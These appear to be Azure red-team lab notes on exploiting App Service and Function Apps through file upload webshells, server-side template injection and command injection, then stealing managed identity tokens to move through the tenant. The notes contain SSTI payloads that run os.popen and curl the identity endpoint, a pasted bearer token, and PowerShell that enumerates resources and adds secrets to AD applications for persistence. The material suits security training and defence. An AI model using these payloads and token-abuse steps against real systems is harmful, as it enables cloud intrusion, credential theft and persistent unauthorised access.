Azure App Service

  • "Azure App Service is an HTTP-based service for hosting web applications, REST APIs, and mobile back ends."

  • Supports both Windows and Linux environments.

  • .NET, .NET Core, Java, Ruby, Node.js, PHP, or Python are supported.

  • Each app runs inside a sandbox but isolation depends upon App Service plans – Apps in Free and Shared tiers run on shared VMs – Apps in Standard and Premium tiers run on dedicated VMs

  • Windows apps (not running in Windows containers) have local drives, UNC shares, outbound network connectivity (unless restricted), read access to Registry and event logs.

  • In the above case, it is also possible to run a PowerShell script and command shell. But the privileges will be of a the low-privileges workers process that uses a random application pool identity.

https://github.com/projectkudu/kudu/wiki/Azure-Web-App-sandbox

Initial Access - Azure App Service Abuse

  • While there are default security features available with App Service (sandboxing/isolation, encrypted communication etc.), vulnerabilities in the code deployed are abusable.

  • The classic web app vulnerabilities like SQL Injection, Insecure file upload, Injection attacks etc. do not disappear magically :)

  • We will discuss the following: – Insecure File upload – Server Side Template Injection – OS Command Injection

Insecure File Upload

  • By abusing an insecure file upload vulnerability in an app service, it is possible to get command execution.

  • As discussed previously, the privileges will be of the low-privilege worker process.

  • But if the app service uses a Managed Identity, we may have the ability to have interesting permissions on other Azure resources.

  • After compromising an app service, we can request access tokens for the managed identity.

  • If the app service contains environment variables IDENTITY_HEADER and IDENTITY_ENDPOINT, it has a managed identity. http://defcorphqcareer.azurewebsites.net/uploads/studentxshell.phtml?cmd=env

  • Get the access token for the managed identity using another webshell https://defcorphqcareer.azurewebsites.net/uploads/studentxtoken.phtml

  • You can find both of the above web shells in the Tools directory.

$Token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjNQYUs0RWZ5Qk5RdTNDdGpZc2EzWW1oUTVFMCIsImtpZCI6IjNQYUs0RWZ5Qk5RdTNDdGpZc2EzWW1oUTVFMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE3MjkyNTE5MjgsIm5iZiI6MTcyOTI1MTkyOCwiZXhwIjoxNzI5MzM4NjI4LCJhaW8iOiJrMkJnWUZDWisvcUFrN080Y1hYTzJyOFhiT3gyQXdBPSIsImFwcGlkIjoiMDY0YWFmNTctMzBhZi00MWYwLTg0MGEtMGUyMWVkMTQ5OTQ2IiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlkdHlwIjoiYXBwIiwib2lkIjoiY2M2N2M5MGQtZDllOS00MGQyLWI1MTEtOWQ1MmQ2NzY4MmFiIiwicmgiOiIwLkFIQUFLY3RRTFh0ZnBFaUh6djUxcVVHdHRrWklmM2tBdXRkUHVrUGF3ZmoyTUJQRUFBQS4iLCJzdWIiOiJjYzY3YzkwZC1kOWU5LTQwZDItYjUxMS05ZDUyZDY3NjgyYWIiLCJ0aWQiOiIyZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYiLCJ1dGkiOiItSUo5Y2c5YlkwdTRRd2hpSVZnaUFBIiwidmVyIjoiMS4wIiwieG1zX2lkcmVsIjoiNyAyIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvYjQxMzgyNmYtMTA4ZC00MDQ5LThjMTEtZDUyZDVkMzg4NzY4L3Jlc291cmNlZ3JvdXBzL0VuZ2luZWVyaW5nL3Byb3ZpZGVycy9NaWNyb3NvZnQuV2ViL3NpdGVzL2RlZmNvcnBocWNhcmVlciIsInhtc190Y2R0IjoxNjE1Mzc1NjI5fQ.W1DVv6OmICSMFcYoes30GISpXlwL6rbhTuuInu3PRkLS36AKiz4iE7fGbs5JT2I8pOfzJshsm0PYT_jX63BqDXVFBxttRuo77JqZo9f3KAk1Vi9zofVurw0HbDB4HYob4gZjO2ZX9Wlq_KYn9Xy1hib2mzYwDx-sefAV6fEBjHg7HU7NkzjApwynoFVCnITJzp7ARYLkovqyegEgNoxVymF30hA01N1BEz_wnDA5dqO1JRNZ0qsIrN321Z7wbi7Rk_aGT7_6Wq6DFpSrwEiCwFmntMI4kTPQ47bDVqBuekdAk7qQcP726rqUww-t0CbM0eIXuRB44jEnSCN4CqhJCA'
Connect-AzAccount -AccessToken $Token -AccountId 064aaf57-30af-41f0-840a-0e21ed149946
Get-AzResource
Get-AzRoleAssignment  

While we can request both the tokens, for now, let's fall back to manual API calls for enumeration. Let's use the token with Azure REST API.

$Token = 'eyJ0eX..'
$URI = '<https://management.azure.com/subscriptions?api-version=2020-01-01>'

$RequestParams = @{
 Method = 'GET'
 Uri = $URI
 Headers = @{
 'Authorization' = "Bearer $Token"
 }
}

(Invoke-RestMethod @RequestParams).value 

List all resources accessible for the managed identity assigned to the app service. Note that the only difference is the URI

$Token = 'eyJ0eX..'
$URI = '<https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01>'

$RequestParams = @{
 Method = 'GET'
 Uri = $URI
 Headers = @{
 'Authorization' = "Bearer $Token"
 }
}

(Invoke-RestMethod @RequestParams).value

The above code shows us that we do have access to a VM! Let's see what actions are allowed using the below code:

$Token = 'eyJ0eX..'
$URI = '<https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/bkpadconnect/providers/Microsoft.Authorization/permissions?api-version=2015-07-01>'

$RequestParams = @{
 Method = 'GET'
 Uri = $URI
 Headers = @{
 'Authorization' = "Bearer $Token"
 }
}

(Invoke-RestMethod @RequestParams).value

Server Side Template Injection (SSTI)

  • SSTI allows an attacker to abuse template syntax to inject payloads in a template that is executed on the server side.

  • That is, we can get command execution on a server by abusing this.

  • Once again, in case of an Azure App Service, we get privileges only of the worker process but a managed identity may allow us to access other Azure resources.

{{config.items()}}
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{config.__class__.__init__.__globals__['os'].popen('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER').read()}}

Connect-AzAccount -AccessToken $token -AccountId 2e91a4fea0f2-46ee-8214-fa2ff6aa9abc
Get-AzResource

OS Command Injection

  • In case of OS command injection, it is possible to run arbitrary operating system commands on the server where requests are processed.

  • This is usually due to insecure parsing of user input such as parameters, uploaded files and HTTP requests.

  • Same as previously, in case of an Azure App Service, we get privileges only of the worker process but a managed identity may allow us to access other Azure resources.

Function App Abuse

  • Function App (also called Azure Functions) is Azure's 'serverless' solution to run code.

  • Languages like C#, Java, PowerShell, Python and more are supported.

  • A Function App is supposed to be used to react to an event like: – HTTP Trigger – Processing a file upload – Run code on scheduled time and more

  • App service provides the hosting infrastructure for function apps.

  • Function apps support Managed Identities.

$token = 'eyJ0eX..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -MicrosoftGraphAccessToken $graphaccesstoken -AccountId 62e44426-5c46-4e3c-8a89-f461d5d586f2
Get-AzResource     # This command will fail

$Token = 'eyJ0eX..'

$URI = ' <https://graph.microsoft.com/v1.0/applications>'
$RequestParams = @{
 Method = 'GET'
 Uri = $URI
 Headers = @{
	 'Authorization' = "Bearer $Token"
 }
}

(Invoke-RestMethod @RequestParams).value

. C:\\AzAD\\Tools\\Add-AzADAppSecret.ps1
Add-AzADAppSecret -GraphToken $graphtoken -Verbose

Last updated